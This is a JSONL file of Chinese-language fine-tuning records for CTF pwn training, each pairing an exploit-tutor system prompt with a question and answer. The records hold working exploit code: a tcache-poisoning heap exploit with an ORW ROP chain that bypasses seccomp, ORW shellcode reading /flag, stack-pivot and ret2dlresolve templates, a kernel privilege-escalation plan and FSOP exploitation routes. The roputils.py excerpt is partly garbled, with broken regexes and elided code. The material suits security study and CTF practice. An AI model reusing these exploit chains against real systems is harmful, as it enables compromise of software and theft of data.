`0x3ed8e8`\n\n训练用代码片段：\n```python\n#!/tools/env/bin/python3\nfrom pwn import *\nfrom Crypto.Cipher import ARC4\nfrom Crypto.Random import get_random_bytes\n\ndef dbg(c=0):\n\tif c:\n\t\tgdb.attach(io, c)\n\telse:\n\t\tgdb.attach(io)\n\t\tpause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nusername=\"\"\npasswd=\"\"\n\ndef get_username():\n\tglobal username, passwd\n\n\twhile True:\n\t\tfor i in range(1,256):\n\t\t\tif (i==0xA): continue\n\t\t\tru(b\"Input your username:\\n\")\n\t\t\tsl(username+chr(i)+\"\\x00\")\n\n\t\t\tresult=io.recvline()\n\t\t\tif (result==\"Invalid username length!\\n\"):\n\t\t\t\tusername+=chr(i)\n\t\t\t\tbreak\n\t\t\telif (result==\"Username correct!\\n\"):\n\t\t\t\tsl()\n\t\t\t\tusername+=chr(i)\n\t\t\t\treturn\n\nget_username()\n\ndef get_passwd():\n\tglobal username, passwd\n\n\twhile True:\n\t\tfor i in range(1,256):\n\t\t\tif (i==0xA): continue\n\t\t\tru(\"Input your username:\\n\")\n\t\t\tsl(username)\n\t\t\tru(\"Input your password:\\n\")\n\t\t\tsl(passwd+chr(i)+\"\\x00\")\n\n\t\t\tresult=io.recvline()\n\t\t\tif (result==\"Invalid password length!\\n\"):\n\t\t\t\tpasswd+=chr(i)\n\t\t\t\tbreak\n\t\t\telif (result==\"Password correct!\\n\"):\n\t\t\t\tpasswd+=chr(i)\n\t\t\t\treturn\n\nget_passwd()\n\ndef new(idx,size,content):\n\tru(\"> \\n\")\n\tsl(\"1\")\n\tio.recvline()\n\tsl(str(idx))\n\tio.recvline()\n\tsl(str(size))\n\tio.recvline()\n\ts(content)\n\ndef show(idx):\n\tru(\"> \\n\")\n\tsl(\"2\")\n\tio.recvline()\n\tsl(str(idx))\n\ndef delete(idx):\n\tru(\"> \\n\")\n\tsl(\"3\")\n\tio.recvline()\n\tsl(str(idx))\n\ndef rc4_enc(decrypted_text):\n\tkey = b's4cur1ty_p4ssw0rd'\n\tcipher = ARC4.new(key)\n\treturn cipher.encrypt(decrypted_text)\n\ndef rc4_dec(ciphertext):\n\tkey = b's4cur1ty_p4ssw0rd'\n\tcipher = ARC4.new(key)\n\treturn cipher.decrypt(ciphertext)\n\nfor i in range(10): new(i,0x100,\"\\n\")\n\nfor i in range(8): delete(i)\n\nshow(6)\nru(\"[key,value] = [6,\")\nheap_base=u64(rc4_enc(ru(\"Encrypt and save value...\",drop=True))[:8])-0x1bc0\nsuccess(\"heap_base: \"+hex(heap_base))\n\nshow(7)\nru(\"[key,value] = [7,\")\nlibc_base=u64(rc4_enc(ru(\"Encrypt and save value...\",drop=True))[:8])-0x3ebca0\nsuccess(\"libc_base: \"+hex(libc_base))\n\nnew(0,0x110,\"\\n\")\ndelete(0)\ndelete(0)\nnew(1,0x110,rc4_dec(p64(libc_base+0x3ed8e8))+\"\\n\")\n\nnew(2,0x110,\"\\n\")\n\npop_rdi=libc_base+0x2164f\npop_rsi=libc_base+0x23a6a\npop_rdx=libc_base+0x1b96\n\npayload=\"\"\npayload=payload.ljust(0xa0,\"\\x00\")\npayload+=p64(heap_base+0x2450)\npayload+=p64(pop_rdi+1)\n\nfake_stack=\"\\x00\"*0x10\nfake_stack+=p64(pop_rdi)+p64(heap_base+0x24c8)+p64(pop_rsi)+p64(0)+p64(libc_base+0x10fbf0)\nfake_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x40)+p64(libc_base+0x110020)\nfake_stack+=p64(pop_rdi)+p64(1)+p64(libc_base+0x1100f0)\nfake_stack+=\"flag\"\n\nnew(4,0x200,payload+\"\\n\")\nnew(5,0x200,fake_stack+\"\\n\")\n\ndelete(5)\n\nnew(3,0x110,rc4_dec(p64(libc_base+0x52085))+\"\\n\")\n\ndelete(4)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-1887007ba4ded7a1", "original_line": 505, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/exp.py", "split": "train", "split_group_key": "4a645fc0c796e55570b404c2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-532520128a733b9a4562", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ret2dlresolve」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## ret2dlresolve\n\n需要利用 ret2dlresolve 攻击的题目的最大特征是不提供 libc 。另外如果使用 ret2dlresolve 则不能使用 patchelf 修改 elf 文件，因为这样会移动延迟绑定相关的结构。\n\n关键条件：\n\n- 存在栈溢出\n- 已知 ELF 基址\n- 可写内存地址\n- 哪个控制 reloc_arg 参数\n\n简述延迟绑定流程：\n\n1. 跳转到 .plt 表项\n2. 压入 reloc_arg（重定位索引）\n3. 跳转到公共 PLT 表项\n4. 压入`link_map`指针\n5. 调用`_dl_runtime_resolve(link_map, reloc_arg)`", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a054efc0b9df6694", "original_line": 604, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-53412bb38d02caa22073", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「下一步优先级」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 下一步优先级\n\n1. 用 QEMU/GDB 断 `discard_slab`、`get_page_from_freelist`、`pte_alloc_one`，记录 d3k slab PFN 与 PTE PFN 是否重叠。\n2. 改 `xcache_probe` 为多进程 mmap/PTE spray，并记录哪一个 VA range 对应崩溃前被挂入 d3k freelist。\n3. 若能定位 PTE 页，目标从“fresh alloc 崩溃”改为“控制某个 PTE entry 的可预测改写”，再做 page table permission/phys remap。\n4. 如果 PTE 路线不稳定，改试 file-backed page cache / `struct file` / `sk_buff` full spray，而不是继续调公开 msg_msg/pipe 精准链。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7dd30457b1f3bdef", "original_line": 372, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-53f332176ad143d86ef7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/QWB2021-notebook/run.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/QWB2021-notebook/run.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\nqemu-system-x86_64 -m 64M \\\n        -kernel bzImage \\\n        -initrd rootfs.cpio \\\n        -append \"loglevel=0 console=ttyS0 oops=panic panic=1 kaslr\" \\\n        -nographic \\\n        -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap \\\n        -monitor /dev/null 2>/dev/null -s \\\n        -no-reboot\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b1e65b3f025f9677", "original_line": 324, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/run.sh", "split": "train", "split_group_key": "c45d905eca49da1211793105"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/run.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-54114af41c85bcf13ae3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n栈迁移是一种通过劫持程序栈指针（ESP 和 EBP）来绕过缓冲区限制的技术，常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时，栈迁移能够扩展攻击范围，通过迁移栈到可控的内存区域来实现更复杂的攻击。\n\n 核心概念：\n\n+ `EBP`（栈帧寄存器）：每次函数调用时，`EBP`用于维护栈帧结构。通过修改`EBP`指向攻击者可控的区域，函数栈空间也会发生改变。\n+ `ESP`（栈指针寄存器）：`ESP`指向栈顶，控制其地址后可以改变程序执行流，通常栈迁移会将其劫持到一个无需长度限制的区域，比如`bss`段。\n\n栈迁移主要用于缓冲区溢出攻击中的特殊情况：\n\n+ 缓冲区较小：当溢出的空间只能覆盖到两个字长的栈内容时，栈迁移可以帮助攻击者突破限制，扩展控制范围。\n+ 受限输入：当攻击者可输入的数据长度不足以直接覆盖返回地址时，通过栈迁移可以进一步获得对程序的控制。\n\n 操作流程：\n\n1. 覆盖`EBP`和`EIP`：通过缓冲区溢出将`EBP`覆盖，使得函数调用时栈帧指向攻击者控制的区域。\n2. 调用 `leave; ret` gadget：`leave`指令会将`EBP`的值赋给 ESP，使得栈指针迁移到新的区域，随后通过`ret`指令恢复执行流。\n   - `leave`指令：`mov esp, ebp` 和 `pop ebp`，使`ESP`和`EBP`同时被控制。\n   - `ret`指令：跳转到新的返回地址，这通常是由攻击者精心设计的 ROP 链。\n3. 执行 ROP 链：在新栈区域中，攻击者可以通过 ROP 链进行任意代码执行。\n\n 实际应用：\n\n栈迁移常常通过将`EBP`和`ESP`指向`bss`段等长度不受限制的内存区域，使得攻击者可以操作更多的栈空间。通过 `leave; ret` gadget，有效利用溢出的少量字节数来改变程序执行逻辑，从而实现进一步的利用。\n\n 优化策略：\n\n+ 选择合适的栈迁移目标区域：`bss`段是常见的迁移目标，它通常没有长度限制且可读写，适合存储 ROP 链。\n+ 精确利用`leave; ret`：利用好这两个指令可以确保栈指针成功迁移，并让攻击者在迁移后的控制区域继续执行代码。\n+ ROP 链灵活设计：根据不同场景设计和优化 ROP 链，确保在栈迁移后能够顺利控制程序的后续执行。\n\n栈迁移技术扩展了攻击者的控制范围，是解决栈空间不足问题的有效手段，在实际安全研究和攻击中广泛应用。\n\n> `leave == mov esp,ebp; pop ebp;`\n> `ret == pop eip`\n\n栈迁移模板：\n\n+ 第一次栈迁移进行`ebp`修改让下次输入指向我们需要的地方\n+ 第二次栈迁移修改`esp`让程序正常\n+ 第三次正常 rop 构造\n+ 第四次等同第一次\n+ 第五次 getshell rop链\n\n\n```plain\npadding+p64(fake_stack)+p64(leave)\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e79bb7ee0fbc30eb", "original_line": 617, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55450c1008ba0c603181", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/fastbin_reverse_into_tcache/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/fastbin_reverse_into_tcache/patch.sh`\n\n分类：heap\n\n语言：bash\n\n利用主题关键词：\n- heap/tcache\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nVERSION=2.31\nLIBC_NAME=libc.so.6\nLD_NAME=ld-linux-x86-64.so.2\n\ngcc pwn.c -o pwn -g\ncp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .\ncp /glibc/${VERSION}/amd64/lib/${LD_NAME} .\n\nchmod 777 ${LIBC_NAME}\nchmod 777 ${LD_NAME}\n\npatchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn\npatchelf --set-interpreter ./${LD_NAME} ./pwn\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b738210e01c65d74", "original_line": 27, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/patch.sh", "split": "train", "split_group_key": "9da938ade59e596b7a64dfe5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/patch.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55775f6917267a5050b9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 题目信息」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 1. 题目信息\n\n附件：\n\n- `pwn`\n- `libc.so.6`\n- `ld-linux-x86-64.so.2`\n- `exp.py`\n\n保护：\n\n```text\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\nStripped:   No\n```\n\n程序是 glibc 2.35 环境，GOT 不可改，NX/PIE/Canary 均开启。最终利用路线是：\n\n```text\n全局 name 溢出控 seed\n    -> 预测 rand，解出 libc base / mmap 地址\n    -> UAF 改 largebin chunk 的 bk_nextsize\n    -> largebin attack 写 _IO_list_all\n    -> 伪造 FILE，House of Apple2 / FSOP\n    -> exit 刷新 _IO_list_all，跳到 RWX mmap 上的 ORW shellcode\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ba59dba6fd49444d", "original_line": 209, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55c654932d6a7ac59282", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. heap leak from single-entry tcache safe-linking value」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 1. heap leak from single-entry tcache safe-linking value\nadd()\ndele(0)\nshow(0)\nheap_leak = leak_after_show()\nheap_base = u64(heap_leak.ljust(8, b\"\\x00\")) << 12\nlog.success(f\"heap_base = {heap_base:#x}\")", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ab283bdb667c6668", "original_line": 13, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-560fd4bb073f373fb578", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/orw/pwnable_orw/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/orw/pwnable_orw/exp_cli.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nshellcode=shellcraft.open(\"/flag\")\nshellcode+=shellcraft.read(\"eax\",\"esp\",100)\nshellcode+=shellcraft.write(1,\"esp\",100)\nshellcode=asm(shellcode)\nru(\":\")\ns(shellcode)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-7f366513921e70c4", "original_line": 50, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/orw/pwnable_orw/exp_cli.py", "split": "train", "split_group_key": "ef54ed9d3365b51506c8d737"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/orw/pwnable_orw/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-56a8ba74c87903d1aa48", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「程序逻辑」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 程序逻辑\n\n程序启动后循环读取一行命令，命令解析逻辑比较绕：\n\n- 先输入 `LOGIN | r00t QWBQWXF admin`，会设置全局登录标记。\n- 后续每次菜单操作前都要输入 `CAT | r00t QWB QWXF$\\xff`，其中最后的 `\\xff` 要匹配 `.data` 中的魔数。\n- 菜单功能如下：\n  - `add`: idx 范围 `0..15`，只允许 size 在 `0x418..0x46f`，通过 `calloc(1, size)` 分配并读取内容。\n  - `delete`: 直接 `free(ptr[idx])`。\n  - `show`: 固定输出 `ptr[idx]` 的前 `0x30` 字节。\n  - `mini edit`: 只允许调用 2 次，每次向 `ptr[idx]` 读取 `0x30` 字节。\n\n核心漏洞：`delete` 后没有清空 `ptr[idx]` 和 `size[idx]`，因此可以 UAF `show` 泄露，也可以 UAF `edit` 修改 freed large chunk 的 bin metadata。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7537e41e9e2c89f8", "original_line": 224, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-579626066aef4e82fba8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `import sys`\n- `import os`\n- `import re`\n- `import struct`\n- `import socket`\n- `import select`\n- `import random`\n- `import tempfile`\n- `from subprocess import Popen, PIPE`\n- `from threading import Thread, Event`\n- `from telnetlib import Telnet`\n- `from contextlib import contextmanager`\n\n函数/封装：\n- `Asm`\n- `ELF`\n- `FormatStr`\n- `Pattern`\n- `Proc`\n- `ROP`\n- `ROP_ARM`\n- `ROP_I386`\n- `ROP_X86_64`\n- `Shellcode`\n- `__init__`\n- `_f`\n- `addr`\n- `align`\n- `alnum_stager`\n- `assemble`\n- `bind_shell`\n- `calc_offset`\n- `call`\n- `call_chain`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1c8`, `0xFFFF`, `0x10000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python\n\nimport sys\nimport os\nimport re\nimport struct\nimport socket\nimport select\nimport random\nimport tempfile\nfrom subprocess import Popen, PIPE\nfrom threading import Thread, Event\nfrom telnetlib import Telnet\nfrom contextlib import contextmanager\n\n\ndef int16(x):\n    if isinstance(x, (list, tuple)):\n        return [int(n, 16) for n in x]\n    else:\n        return int(x, 16)\n\ndef p32(x):\n    if isinstance(x, str):\n        return struct.unpack('[^\\]]+)\\]\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P
\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)$',\n            'program': r'^\\s*(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P.{3})\\s+(?P\\S+)$',\n            'dynamic': r'^\\s*(?P\\S+)\\s+\\((?P[^)]+)\\)\\s+(?P.+)$',\n            'reloc': r'^\\s*(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)(?: \\+ (?P\\S+))?$',\n            'symbol': r'^\\s*(?P[^:]+):\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)\\s+(?P\\S+)',\n            'string': r'([\\s\\x21-\\x7e]{4,})\\x00',\n        }\n        plt_size_map = {\n            'i386': (0x10, 0x10),\n            'x86-64': (0x10, 0x10),\n            'arm': (0x14, 0xc),\n        }\n        has_dynamic_section = True\n        has_symbol_table = True\n\n        p = Popen(['readelf', '-W', '-a', fpath], env=env_with({\"LC_MESSAGES\": \"C\"}), stdout=PIPE)\n        # read ELF Header\n        while True:\n            line = p.stdout.readline()\n            if line == 'Section Headers:\\n':\n                break\n            m = re.search(r'^\\s*(?P[^:]+):\\s+(?P.+)$', line)\n            if not m:\n                continue\n            key, value = m.group('key', 'value')\n            if key == 'Class':\n                if value == 'ELF64':\n\n# ... 中间内容省略，保留关键利用片段 ...\n\nclass Shellcode(object):\n            raise Exception(\"unsupported shellcode for %s architecture: %r\" % (arch, name))\n        with tempfile.NamedTemporaryFile(delete=False) as f:\n            exit_with_usage(\"output shellcode as hexstring\\n\\nUsage: python %s sc ARCH/NAME [ARG...]\")\n        s = getattr(Shellcode(arch), name).__call__(*args)\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-192c5d9b87c85a41", "original_line": 535, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py", "split": "train", "split_group_key": "deafda1ac988bb2adeb0eccf"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-57cf4d63562e21c5981f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Top chunk」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Top chunk\n\n程序第一次进行`malloc`的时候，`heap`会被分为两块，一块给用户，剩下的那块就是`top chunk`。其实，所谓的`top chunk`就是处于当前堆的物理地址最高的`chunk`。这个`chunk`不属于任何一个`bin`，它的作用在于当所有的`bin`都无法满足用户请求的大小时，如果其大小不小于指定的大小，就进行分配，并将剩下的部分作为新的`top chunk`。否则，就对`heap`进行扩展后再进行分配。在`main_arena`中通过`sbrk`扩展`heap`，而在`threadarena`中通过`mmap`分配新的heap。\n\n需要注意的是，`top chunk`的`prev_inuse`比特位始终为1，否则其前面的`chunk`就会被合并到`top chunk`中。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6babfeb476c9a60d", "original_line": 84, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
